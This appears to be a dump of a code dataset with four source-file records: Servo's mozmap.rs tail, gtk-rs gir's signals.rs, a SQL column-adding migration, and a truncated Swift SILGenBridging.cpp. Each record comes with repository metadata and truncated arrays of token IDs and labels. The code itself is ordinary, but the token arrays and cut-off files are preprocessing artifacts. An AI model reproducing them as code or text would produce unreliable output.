assert!(!js_object.handle().is_null()); rooted!(in(cx) let mut js_value = UndefinedValue()); for (key, value) in &self.map { let key = key.encode_utf16().collect::<Vec<_>>(); value.to_jsval(cx, js_value.handle_mut()); assert!(JS_DefineUCProperty2(cx, js_object.handle(), key.as_ptr(), key.len(), js_value.handle(), JSPROP_ENUMERATE, None, None)); } rval.set(ObjectValue(&*js_object.handle().get())); } }
bbansalWolfPack/servo
components/script/dom/bindings/mozmap.rs
Rust
mpl-2.0
3,635
[ 30522, 1013, 1008, 2023, 3120, 3642, 2433, 2003, 3395, 2000, 1996, 3408, 1997, 1996, 9587, 5831, 4571, 2270, 1008, 6105, 1010, 1058, 1012, 1016, 1012, 1014, 1012, 2065, 1037, 6100, 1997, 1996, 6131, 2140, 2001, 2025, 5500, 2007, 2023, 100...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
use super::{ error::TomlHelper, functions::Return, gobjects::GStatus, ident::Ident, parameter_matchable::Functionlike, parsable::{Parsable, Parse}, }; use crate::{ library::{self, Nullable}, version::Version, }; use log::error; use std::str::FromStr; use toml::Value; #[derive(Clone, Copy, Debug)] pub enum TransformationType { None, Borrow, //replace from_glib_none to from_glib_borrow //TODO: configure TreePath, //convert string to TreePath } impl FromStr for TransformationType { type Err = String; fn from_str(s: &str) -> Result<Self, Self::Err> { match s { "none" => Ok(TransformationType::None), "borrow" => Ok(TransformationType::Borrow), "treepath" => Ok(TransformationType::TreePath), _ => Err(format!("Wrong transformation \"{}\"", s)), } } } #[derive(Clone, Debug)] pub struct Parameter { pub ident: Ident, pub nullable: Option<Nullable>, pub transformation: Option<TransformationType>, pub new_name: Option<String>, } impl Parse for Parameter { fn parse(toml: &Value, object_name: &str) -> Option<Parameter> { let ident = match Ident::parse(toml, object_name, "signal parameter") { Some(ident) => ident, None => { error!( "No 'name' or 'pattern' given for parameter for object {}", object_name ); return None; } }; toml.check_unwanted( &["nullable", "transformation", "new_name", "name", "pattern"], &format!("parameter {}", object_name), ); let nullable = toml .lookup("nullable") .and_then(Value::as_bool) .map(Nullable); let transformation = toml .lookup("transformation") .and_then(Value::as_str) .and_then(|s| { TransformationType::from_str(s) .map_err(|err| { error!("{0}", err); err }) .ok() }); let new_name = toml .lookup("new_name") .and_then(Value::as_str) .map(ToOwned::to_owned); Some(Parameter { ident, nullable, transformation, new_name, }) } } impl AsRef<Ident> for Parameter { fn as_ref(&self) -> &Ident { &self.ident } } pub type Parameters = Vec<Parameter>; #[derive(Clone, Debug)] pub struct Signal { pub ident: Ident, pub status: GStatus, pub inhibit: bool, pub version: Option<Version>, pub parameters: Parameters, pub ret: Return, pub concurrency: library::Concurrency, pub doc_hidden: bool, pub doc_trait_name: Option<String>, } impl Signal { pub fn parse( toml: &Value, object_name: &str, concurrency: library::Concurrency, ) -> Option<Signal> { let ident = match Ident::parse(toml, object_name, "signal") { Some(ident) => ident, None => { error!( "No 'name' or 'pattern' given for signal for object {}", object_name ); return None; } }; toml.check_unwanted( &[ "ignore", "manual", "inhibit", "version", "parameter", "return", "doc_hidden", "name", "pattern", "concurrency", "doc_trait_name", ], &format!("signal {}", object_name), ); let status = { if toml .lookup("ignore") .and_then(Value::as_bool) .unwrap_or(false) { GStatus::Ignore } else if toml .lookup("manual") .and_then(Value::as_bool) .unwrap_or(false) { GStatus::Manual } else { GStatus::Generate } }; let inhibit = toml .lookup("inhibit") .and_then(Value::as_bool) .unwrap_or(false); let version = toml .lookup("version") .and_then(Value::as_str) .and_then(|s| s.parse().ok()); let parameters = Parameters::parse(toml.lookup("parameter"), object_name); let ret = Return::parse(toml.lookup("return"), object_name); let concurrency = toml .lookup("concurrency") .and_then(Value::as_str) .and_then(|v| v.parse().ok()) .unwrap_or(concurrency); let doc_hidden = toml .lookup("doc_hidden") .and_then(Value::as_bool) .unwrap_or(false); let doc_trait_name = toml .lookup("doc_trait_name") .and_then(Value::as_str) .map(ToOwned::to_owned); Some(Signal { ident, status, inhibit, version, parameters, ret, concurrency, doc_hidden, doc_trait_name, }) } } impl Functionlike for Signal { type Parameter = self::Parameter; fn parameters(&self) -> &[Self::Parameter] { &self.parameters } } impl AsRef<Ident> for Signal { fn as_ref(&self) -> &Ident { &self.ident } } pub type Signals = Vec<Signal>; #[cfg(test)] mod tests { use super::{super::ident::Ident, *}; fn toml(input: &str) -> ::toml::Value { let value = input.parse::<::toml::Value>(); assert!(value.is_ok()); value.unwrap() } #[test] fn signal_parse_default() { let toml = toml( r#" name = "signal1" "#, ); let f = Signal::parse(&toml, "a", Default::default()).unwrap(); assert_eq!(f.ident, Ident::Name("signal1".into())); assert!(f.status.need_generate()); } #[test] fn signal_parse_ignore() { let toml = toml( r#" name = "signal1" ignore = true "#, ); let f = Signal::parse(&toml, "a", Default::default()).unwrap(); assert!(f.status.ignored()); } #[test] fn signal_parse_manual() { let toml = toml( r#" name = "signal1" manual = true "#, ); let f = Signal::parse(&toml, "a", Default::default()).unwrap(); assert!(f.status.manual()); } }
gtk-rs/gir
src/config/signals.rs
Rust
mit
6,676
[ 30522, 2224, 3565, 1024, 1024, 1063, 7561, 1024, 1024, 3419, 2140, 16001, 4842, 1010, 4972, 1024, 1024, 2709, 1010, 2175, 2497, 20614, 2015, 1024, 1024, 28177, 29336, 2271, 1010, 8909, 4765, 1024, 1024, 8909, 4765, 1010, 16381, 1035, 2674, ...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
USE ANTERO IF NOT EXISTS (SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sa' and TABLE_NAME='sa_suorat_yo_talous_3_tuloslaskelman_toiminnot' AND COLUMN_NAME ='KKVALTRAH') BEGIN ALTER TABLE sa.sa_suorat_yo_talous_3_tuloslaskelman_toiminnot ADD KKVALTRAH int null END IF NOT EXISTS (SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sa' and TABLE_NAME='sa_suorat_yo_talous_3_tuloslaskelman_toiminnot' AND COLUMN_NAME ='KULKAT') BEGIN ALTER TABLE sa.sa_suorat_yo_talous_3_tuloslaskelman_toiminnot ADD KULKAT int null END IF NOT EXISTS (SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sa' and TABLE_NAME='sa_suorat_amk_talous_3_tuloslaskelman_toiminnot' AND COLUMN_NAME ='TOIMINTO') BEGIN ALTER TABLE sa.sa_suorat_amk_talous_3_tuloslaskelman_toiminnot ADD TOIMINTO int null END IF NOT EXISTS (SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sa' and TABLE_NAME='sa_suorat_amk_talous_3_tuloslaskelman_toiminnot' AND COLUMN_NAME ='TUOTOT') BEGIN ALTER TABLE sa.sa_suorat_amk_talous_3_tuloslaskelman_toiminnot ADD TUOTOT int null END IF NOT EXISTS (SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sa' and TABLE_NAME='sa_suorat_amk_talous_3_tuloslaskelman_toiminnot' AND COLUMN_NAME ='KKVALTRAH') BEGIN ALTER TABLE sa.sa_suorat_amk_talous_3_tuloslaskelman_toiminnot ADD KKVALTRAH int null END IF NOT EXISTS (SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sa' and TABLE_NAME='sa_suorat_amk_talous_3_tuloslaskelman_toiminnot' AND COLUMN_NAME ='TTAVUSTU') BEGIN ALTER TABLE sa.sa_suorat_amk_talous_3_tuloslaskelman_toiminnot ADD TTAVUSTU int null END IF NOT EXISTS (SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sa' and TABLE_NAME='sa_suorat_amk_talous_3_tuloslaskelman_toiminnot' AND COLUMN_NAME ='LIIKETUO') BEGIN ALTER TABLE sa.sa_suorat_amk_talous_3_tuloslaskelman_toiminnot ADD LIIKETUO int null END IF NOT EXISTS (SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sa' and TABLE_NAME='sa_suorat_amk_talous_3_tuloslaskelman_toiminnot' AND COLUMN_NAME ='MUUTTUOT') BEGIN ALTER TABLE sa.sa_suorat_amk_talous_3_tuloslaskelman_toiminnot ADD MUUTTUOT int null END IF NOT EXISTS (SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='sa' and TABLE_NAME='sa_suorat_amk_talous_3_tuloslaskelman_toiminnot' AND COLUMN_NAME ='OMAKATYHT') BEGIN ALTER TABLE sa.sa_suorat_amk_talous_3_tuloslaskelman_toiminnot ADD OMAKATYHT int null END
CSCfi/antero
db/sql/2895__alter_table_sa_talous_3_yo_amk.sql
SQL
mit
2,489
[ 30522, 2224, 14405, 10624, 2065, 2025, 6526, 1006, 7276, 1008, 2013, 2592, 1035, 8040, 28433, 1012, 7753, 2073, 2795, 1035, 8040, 28433, 1027, 1005, 7842, 1005, 1998, 2795, 1035, 2171, 1027, 1005, 7842, 1035, 10514, 6525, 2102, 1035, 10930,...
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0...
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1...
[ -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100...
//===--- SILGenBridging.cpp - SILGen for bridging to Clang ASTs -----------===// // // This source file is part of the Swift.org open source project // // Copyright (c) 2014 - 2017 Apple Inc. and the Swift project authors // Licensed under Apache License v2.0 with Runtime Library Exception // // See https://swift.org/LICENSE.txt for license information // See https://swift.org/CONTRIBUTORS.txt for the list of Swift project authors // //===----------------------------------------------------------------------===// #include "ArgumentScope.h" #include "Callee.h" #include "RValue.h" #include "ResultPlan.h" #include "SILGenFunction.h" #include "Scope.h" #include "swift/AST/DiagnosticsSIL.h" #include "swift/AST/ExistentialLayout.h" #include "swift/AST/ForeignErrorConvention.h" #include "swift/AST/GenericEnvironment.h" #include "swift/AST/ParameterList.h" #include "swift/AST/ProtocolConformance.h" #include "swift/SIL/SILArgument.h" #include "swift/SIL/SILUndef.h" #include "swift/SIL/TypeLowering.h" using namespace swift; using namespace Lowering; /// Convert to the given formal type, assuming that the lowered type of /// the source type is the same as its formal type. This is a reasonable /// assumption for a wide variety of types. static ManagedValue emitUnabstractedCast(SILGenFunction &SGF, SILLocation loc, ManagedValue value, CanType sourceFormalType, CanType targetFormalType) { if (value.getType() == SGF.getLoweredType(targetFormalType)) return value; return SGF.emitTransformedValue(loc, value, AbstractionPattern(sourceFormalType), sourceFormalType, AbstractionPattern(targetFormalType), targetFormalType); } static bool shouldBridgeThroughError(SILGenModule &SGM, CanType type, CanType targetType) { // Never use this logic if the target type is AnyObject. if (targetType->isEqual(SGM.getASTContext().getAnyObjectType())) return false; auto errorProtocol = SGM.getASTContext().getErrorDecl(); if (!errorProtocol) return false; // Existential types are convertible to Error if they are, or imply, Error. if (type.isExistentialType()) { auto layout = type->getExistentialLayout(); for (auto proto : layout.getProtocols()) { if (proto->getDecl() == errorProtocol || proto->getDecl()->inheritsFrom(errorProtocol)) { return true; } } // They're also convertible to Error if they have a class bound that // conforms to Error. if (auto cls = layout.superclass) { type = cls->getCanonicalType(); // Otherwise, they are not convertible to Error. } else { return false; } } auto optConf = SGM.SwiftModule->lookupConformance(type, errorProtocol); return optConf.hasValue(); } /// Bridge the given Swift value to its corresponding Objective-C /// object, using the appropriate witness for the /// _ObjectiveCBridgeable._bridgeToObjectiveC requirement. static Optional<ManagedValue> emitBridgeNativeToObjectiveC(SILGenFunction &SGF, SILLocation loc, ManagedValue swiftValue, CanType swiftValueType, CanType bridgedType, ProtocolConformance *conformance) { // Find the _bridgeToObjectiveC requirement. auto requirement = SGF.SGM.getBridgeToObjectiveCRequirement(loc); if (!requirement) return None; // Retrieve the _bridgeToObjectiveC witness. auto witness = conformance->getWitnessDecl(requirement, nullptr); assert(witness); // Determine the type we're bridging to. auto objcTypeReq = SGF.SGM.getBridgedObjectiveCTypeRequirement(loc); if (!objcTypeReq) return None; Type objcType = conformance->getTypeWitness(objcTypeReq, nullptr); assert(objcType); // Create a reference to the witness. SILDeclRef witnessConstant(witness); auto witnessRef = SGF.emitGlobalFunctionRef(loc, witnessConstant); // Determine the substitutions. auto witnessFnTy = witnessRef->getType(); // Compute the substitutions. // FIXME: Figure out the right SubstitutionMap stuff if the witness // has generic parameters of its own. assert(!cast<FuncDecl>(witness)->isGeneric() && "Generic witnesses not supported"); auto *dc = cast<FuncDecl>(witness)->getDeclContext(); auto *genericSig = dc->getGenericSignatureOfContext(); auto typeSubMap = swiftValueType->getContextSubstitutionMap( SGF.SGM.SwiftModule, dc); // Substitute into the witness function type. witnessFnTy = witnessFnTy.substGenericArgs(SGF.SGM.M, typeSubMap); // The witness may be more abstract than the concrete value we're bridging, // for instance, if the value is a concrete instantiation of a generic type. // // Note that we assume that we don't ever have to reabstract the parameter. // This is safe for now, since only nominal types currently can conform to // protocols. SILFunctionConventions witnessConv(witnessFnTy.castTo<SILFunctionType>(), SGF.SGM.M); if (witnessConv.isSILIndirect(witnessConv.getParameters()[0]) && !swiftValue.getType().isAddress()) { auto tmp = SGF.emitTemporaryAllocation(loc, swiftValue.getType()); SGF.B.createStoreBorrowOrTrivial(loc, swiftValue.borrow(SGF, loc), tmp); swiftValue = ManagedValue::forUnmanaged(tmp); } SmallVector<Substitution, 4> subs; if (genericSig) genericSig->getSubstitutions(typeSubMap, subs); // Call the witness. SILType resultTy = SGF.getLoweredType(objcType); SILValue bridgedValue = SGF.B.createApply(loc, witnessRef, witnessFnTy, resultTy, subs, swiftValue.borrow(SGF, loc).getValue()); auto bridgedMV = SGF.emitManagedRValueWithCleanup(bridgedValue); // The Objective-C value doesn't necessarily match the desired type. bridgedMV = emitUnabstractedCast(SGF, loc, bridgedMV, objcType->getCanonicalType(), bridgedType); return bridgedMV; } /// Bridge the given Objective-C object to its corresponding Swift /// value, using the appropriate witness for the /// _ObjectiveCBridgeable._unconditionallyBridgeFromObjectiveC requirement. static Optional<ManagedValue> emitBridgeObjectiveCToNative(SILGenFunction &SGF, SILLocation loc, ManagedValue objcValue, CanType bridgedType, ProtocolConformance *conformance) { // Find the _unconditionallyBridgeFromObjectiveC requirement. auto requirement = SGF.SGM.getUnconditionallyBridgeFromObjectiveCRequirement(loc); if (!requirement) return None; // Find the _ObjectiveCType requirement. auto objcTypeRequirement = SGF.SGM.getBridgedObjectiveCTypeRequirement(loc); if (!objcTypeRequirement) return None; // Retrieve the _unconditionallyBridgeFromObjectiveC witness. auto witness = conformance->getWitnessDeclRef(requirement, nullptr); assert(witness); // Retrieve the _ObjectiveCType witness. auto objcType = conformance->getTypeWitness(objcTypeRequirement, nullptr); assert(objcType); // Create a reference to the witness. SILDeclRef witnessConstant(witness.getDecl()); auto witnessRef = SGF.emitGlobalFunctionRef(loc, witnessConstant); // Determine the substitutions. auto witnessFnTy = witnessRef->getType().castTo<SILFunctionType>(); CanType swiftValueType = conformance->getType()->getCanonicalType(); auto genericSig = witnessFnTy->getGenericSignature(); SubstitutionMap typeSubMap; if (genericSig) typeSubMap = genericSig->getSubstitutionMap(witness.getSubstitutions()); // Substitute into the witness function type. witnessFnTy = witnessFnTy->substGenericArgs(SGF.SGM.M, typeSubMap); // The witness takes an _ObjectiveCType?, so convert to that type. CanType desiredValueType = OptionalType::get(objcType)->getCanonicalType(); objcValue = emitUnabstractedCast(SGF, loc, objcValue, bridgedType, desiredValueType); // Call the witness. auto metatypeParam = witnessFnTy->getParameters()[1]; assert(isa<MetatypeType>(metatypeParam.getType()) && cast<MetatypeType>(metatypeParam.getType()).getInstanceType() == swiftValueType); SILValue metatypeValue = SGF.B.createMetatype(loc, metatypeParam.getSILStorageType()); auto witnessCI = SGF.getConstantInfo(witnessConstant); CanType formalResultTy = witnessCI.LoweredType.getResult(); auto subs = witness.getSubstitutions(); // Set up the generic signature, since formalResultTy is an interface type. GenericContextScope genericContextScope(SGF.SGM.Types, genericSig); CalleeTypeInfo calleeTypeInfo( witnessFnTy, AbstractionPattern(genericSig, formalResultTy), swiftValueType); SGFContext context; ResultPlanPtr resultPlan = ResultPlanBuilder::computeResultPlan(SGF, calleeTypeInfo, loc, context); ArgumentScope argScope(SGF, loc); RValue result = SGF.emitApply(std::move(resultPlan), std::move(argScope), loc, ManagedValue::forUnmanaged(witnessRef), subs, {objcValue, ManagedValue::forUnmanaged(metatypeValue)}, calleeTypeInfo, ApplyOptions::None, context); return std::move(result).getAsSingleValue(SGF, loc); } static ManagedValue emitBridgeBoolToObjCBool(SILGenFunction &SGF, SILLocation loc, ManagedValue swiftBool) { // func _convertBoolToObjCBool(Bool) -> ObjCBool SILValue boolToObjCBoolFn = SGF.emitGlobalFunctionRef(loc, SGF.SGM.getBoolToObjCBoolFn()); SILType resultTy =SGF.getLoweredLoadableType(SGF.SGM.Types.getObjCBoolType()); SILValue result = SGF.B.createApply(loc, boolToObjCBoolFn, boolToObjCBoolFn->getType(), resultTy, {}, swiftBool.forward(SGF)); return SGF.emitManagedRValueWithCleanup(result); } static ManagedValue emitBridgeBoolToDarwinBoolean(SILGenFunction &SGF, SILLocation loc, ManagedValue swiftBool) { // func _convertBoolToDarwinBoolean(Bool) -> DarwinBoolean SILValue boolToDarwinBooleanFn = SGF.emitGlobalFunctionRef(loc, SGF.SGM.getBoolToDarwinBooleanFn()); SILType resultTy = SGF.getLoweredLoadableType(SGF.SGM.Types.getDarwinBooleanType()); SILValue result = SGF.B.createApply(loc, boolToDarwinBooleanFn, boolToDarwinBooleanFn->getType(), resultTy, {}, swiftBool.forward(SGF)); return SGF.emitManagedRValueWithCleanup(result); } static ManagedValue emitBridgeForeignBoolToBool(SILGenFunction &SGF, SILLocation loc, ManagedValue foreignBool, SILDeclRef bridgingFnRef) { // func _convertObjCBoolToBool(ObjCBool) -> Bool SILValue bridgingFn = SGF.emitGlobalFunctionRef(loc, bridgingFnRef); SILType resultTy = SGF.getLoweredLoadableType(SGF.SGM.Types.getBoolType()); SILValue result = SGF.B.createApply(loc, bridgingFn, bridgingFn->getType(), resultTy, {}, foreignBool.forward(SGF)); return SGF.emitManagedRValueWithCleanup(result); } static ManagedValue emitManagedParameter(SILGenFunction &SGF, SILLocation loc, SILParameterInfo param, SILValue value) { const TypeLowering &valueTL = SGF.getTypeLowering(value->getType()); switch (param.getConvention()) { case ParameterConvention::Direct_Owned: // Consume owned parameters at +1. return SGF.emitManagedRValueWithCleanup(value, valueTL); case ParameterConvention::Direct_Guaranteed: case ParameterConvention::Direct_Unowned: // We need to independently retain the value. return SGF.emitManagedRetain(loc, value, valueTL); case ParameterConvention::Indirect_Inout: return ManagedValue::forLValue(value); case ParameterConvention::Indirect_In_Guaranteed: case ParameterConvention::Indirect_In_Constant: if (valueTL.isLoadable()) { return SGF.emitLoad(loc, value, valueTL, SGFContext(), IsNotTake); } else { return SGF.emitManagedRetain(loc, value, valueTL); } case ParameterConvention::Indirect_In: if (valueTL.isLoadable()) { return SGF.emitLoad(loc, value, valueTL, SGFContext(), IsTake); } else { return SGF.emitManagedRValueWithCleanup(value, valueTL); } case ParameterConvention::Indirect_InoutAliasable: llvm_unreachable("unexpected inout_aliasable argument"); } llvm_unreachable("bad convention"); } static void expandTupleTypes(CanType type, SmallVectorImpl<CanType> &results) { if (auto tuple = dyn_cast<TupleType>(type)) { for (auto eltType : tuple.getElementTypes()) expandTupleTypes(eltType, results); } else { results.push_back(type); } } /// Recursively expand all the tuples in the given parameter list. /// Callers assume that the resulting array will line up with the /// SILFunctionType's parameter list, which is true as along as there /// aren't any indirectly-passed tuples; we should be safe from that /// here in the bridging code. static SmallVector<CanType, 8> expandTupleTypes(AnyFunctionType::CanParamArrayRef params) { SmallVector<CanType, 8> results; for (auto param : params) expandTupleTypes(param.getType(), results); return results; } static void buildFuncToBlockInvokeBody(SILGenFunction &SGF, SILLocation loc, CanAnyFunctionType formalFuncType, CanAnyFunctionType formalBlockType, CanSILFunctionType funcTy, CanSILFunctionType blockTy, CanSILBlockStorageType blockStorageTy) { Scope scope(SGF.Cleanups, CleanupLocation::get(loc)); SILBasicBlock *entry = &*SGF.F.begin(); SILFunctionConventions blockConv(blockTy, SGF.SGM.M); SILFunctionConventions funcConv(funcTy, SGF.SGM.M); // Make sure we lower the component types of the formal block type. formalBlockType = SGF.SGM.Types.getBridgedFunctionType(AbstractionPattern(formalBlockType), formalBlockType, formalBlockType->getExtInfo()); // Set up the indirect result. SILType blockResultTy = blockTy->getAllResultsType(); SILValue indirectResult; if (blockTy->getNumResults() != 0) { auto result = blockTy->getSingleResult(); if (result.getConvention() == ResultConvention::Indirect) { indirectResult = entry->createFunctionArgument(blockResultTy); } } // Get the captured native function value out of the block. auto storageAddrTy = SILType::getPrimitiveAddressType(blockStorageTy); auto storage = entry->createFunctionArgument(storageAddrTy); auto capture = SGF.B.createProjectBlockStorage(loc, storage); auto &funcTL = SGF.getTypeLowering(funcTy); auto fn = SGF.emitLoad(loc, capture, funcTL, SGFContext(), IsNotTake); // Collect the block arguments, which may have nonstandard conventions. assert(blockTy->getParameters().size() == funcTy->getParameters().size() && "block and function types don't match"); auto nativeParamTypes = expandTupleTypes(formalFuncType.getParams()); auto bridgedParamTypes = expandTupleTypes(formalBlockType.getParams()); SmallVector<ManagedValue, 4> args; for (unsigned i : indices(funcTy->getParameters())) { auto &param = blockTy->getParameters()[i]; SILType paramTy = blockConv.getSILType(param); SILValue v = entry->createFunctionArgument(paramTy); ManagedValue mv; // If the parameter is a block, we need to copy it to ensure it lives on // the heap. The adapted closure value might outlive the block's original // scope. if (SGF.getSILType(param).isBlockPointerCompatible()) { // We still need to consume the original block if it was owned. switch (param.getConvention()) { case ParameterConvention::Direct_Owned: SGF.emitManagedRValueWithCleanup(v); break; case ParameterConvention::Direct_Guaranteed: case ParameterConvention::Direct_Unowned: break; case ParameterConvention::Indirect_In: case ParameterConvention::Indirect_In_Constant: case ParameterConvention::Indirect_In_Guaranteed: case ParameterConvention::Indirect_Inout: case ParameterConvention::Indirect_InoutAliasable: llvm_unreachable("indirect params to blocks not supported"); } SILValue blockCopy = SGF.B.createCopyBlock(loc, v); mv = SGF.emitManagedRValueWithCleanup(blockCopy); } else { mv = emitManagedParameter(SGF, loc, param, v); } CanType formalBridgedType = bridgedParamTypes[i]; CanType formalNativeType = nativeParamTypes[i]; SILType loweredNativeTy = funcTy->getParameters()[i].getSILStorageType(); args.push_back(SGF.emitBridgedToNativeValue(loc, mv, formalBridgedType, formalNativeType, loweredNativeTy)); } auto init = indirectResult ? SGF.useBufferAsTemporary(indirectResult, SGF.getTypeLowering(indirectResult->getType())) : nullptr; CanType formalNativeResultType = formalFuncType.getResult(); CanType formalBridgedResultType = formalBlockType.getResult(); bool canEmitIntoInit = (indirectResult && indirectResult->getType() == SGF.getLoweredType(formalNativeResultType).getAddressType()); // Call the native function. SGFContext C(canEmitIntoInit ? init.get() : nullptr); ManagedValue result = SGF.emitMonomorphicApply(loc, fn, args, formalNativeResultType, formalNativeResultType, ApplyOptions::None, None, None, C) .getAsSingleValue(SGF, loc); // Bridge the result back to ObjC. if (!canEmitIntoInit) { result = SGF.emitNativeToBridgedValue(loc, result, formalNativeResultType, formalBridgedResultType, blockResultTy, SGFContext(init.get())); } SILValue resultVal; // If we have an indirect result, make sure the result is there. if (indirectResult) { if (!result.isInContext()) { init->copyOrInitValueInto(SGF, loc, result, /*isInit*/ true); init->finishInitialization(SGF); } init->getManagedAddress().forward(SGF); resultVal = SGF.B.createTuple(loc, {}); // Otherwise, return the result at +1. } else { resultVal = result.forward(SGF); } scope.pop(); SGF.B.createReturn(loc, resultVal); } /// Bridge a native function to a block with a thunk. ManagedValue SILGenFunction::emitFuncToBlock(SILLocation loc, ManagedValue fn, CanAnyFunctionType funcType, CanAnyFunctionType blockType, CanSILFunctionType loweredBlockTy){ auto loweredFuncTy = fn.getType().castTo<SILFunctionType>(); // Build the invoke function signature. The block will capture the original // function value. auto fnInterfaceTy = cast<SILFunctionType>( F.mapTypeOutOfContext(loweredFuncTy)->getCanonicalType()); auto blockInterfaceTy = cast<SILFunctionType>( F.mapTypeOutOfContext(loweredBlockTy)->getCanonicalType()); auto storageTy = SILBlockStorageType::get(loweredFuncTy); auto storageInterfaceTy = SILBlockStorageType::get(fnInterfaceTy); // Build the invoke function type. SmallVector<SILParameterInfo, 4> params; params.push_back(SILParameterInfo(storageInterfaceTy, ParameterConvention::Indirect_InoutAliasable)); std::copy(blockInterfaceTy->getParameters().begin(), blockInterfaceTy->getParameters().end(), std::back_inserter(params)); auto extInfo = SILFunctionType::ExtInfo() .withRepresentation(SILFunctionType::Representation::CFunctionPointer); CanGenericSignature genericSig; GenericEnvironment *genericEnv = nullptr; SubstitutionList subs; if (funcType->hasArchetype() || blockType->hasArchetype()) { genericSig = F.getLoweredFunctionType()->getGenericSignature(); genericEnv = F.getGenericEnvironment(); subs = F.getForwardingSubstitutions(); // The block invoke function must be pseudogeneric. This should be OK for now // since a bridgeable function's parameters and returns should all be // trivially representable in ObjC so not need to exercise the type metadata. // // Ultimately we may need to capture generic parameters in block storage, but // that will require a redesign of the interface to support dependent-layout // context. Currently we don't capture anything directly into a block but a // Swift closure, but that's totally dumb. if (genericSig) extInfo = extInfo.withIsPseudogeneric(); } auto invokeTy = SILFunctionType::get( genericSig, extInfo, ParameterConvention::Direct_Unowned, params, blockInterfaceTy->getResults(), blockInterfaceTy->getOptionalErrorResult(), getASTContext()); // Create the invoke function. Borrow the mangling scheme from reabstraction // thunks, which is what we are in spirit. auto thunk = SGM.getOrCreateReabstractionThunk(genericEnv, invokeTy, loweredFuncTy, loweredBlockTy, F.isSerialized()); // Build it if necessary. if (thunk->empty()) { thunk->setGenericEnvironment(genericEnv); SILGenFunction thunkSGF(SGM, *thunk); auto loc = RegularLocation::getAutoGeneratedLocation(); buildFuncToBlockInvokeBody(thunkSGF, loc, funcType, blockType, loweredFuncTy, loweredBlockTy, storageTy); } // Form the block on the stack. auto storageAddrTy = SILType::getPrimitiveAddressType(storageTy); auto storage = emitTemporaryAllocation(loc, storageAddrTy); auto capture = B.createProjectBlockStorage(loc, storage); B.createStore(loc, fn, capture, StoreOwnershipQualifier::Init); auto invokeFn = B.createFunctionRef(loc, thunk); auto stackBlock = B.createInitBlockStorageHeader(loc, storage, invokeFn, SILType::getPrimitiveObjectType(loweredBlockTy), subs); // Copy the block so we have an independent heap object we can hand off. auto heapBlock = B.createCopyBlock(loc, stackBlock); return emitManagedRValueWithCleanup(heapBlock); } static ManagedValue emitNativeToCBridgedNonoptionalValue(SILGenFunction &SGF, SILLocation loc, ManagedValue v, CanType nativeType, CanType bridgedType, SILType loweredBridgedTy, SGFContext C) { assert(loweredBridgedTy.isObject()); if (v.getType().getObjectType() == loweredBridgedTy) return v; // If the input is a native type with a bridged mapping, convert it. #define BRIDGE_TYPE(BridgedModule,BridgedType, NativeModule,NativeType,Opt) \ if (nativeType == SGF.SGM.Types.get##NativeType##Type() \ && bridgedType == SGF.SGM.Types.get##BridgedType##Type()) 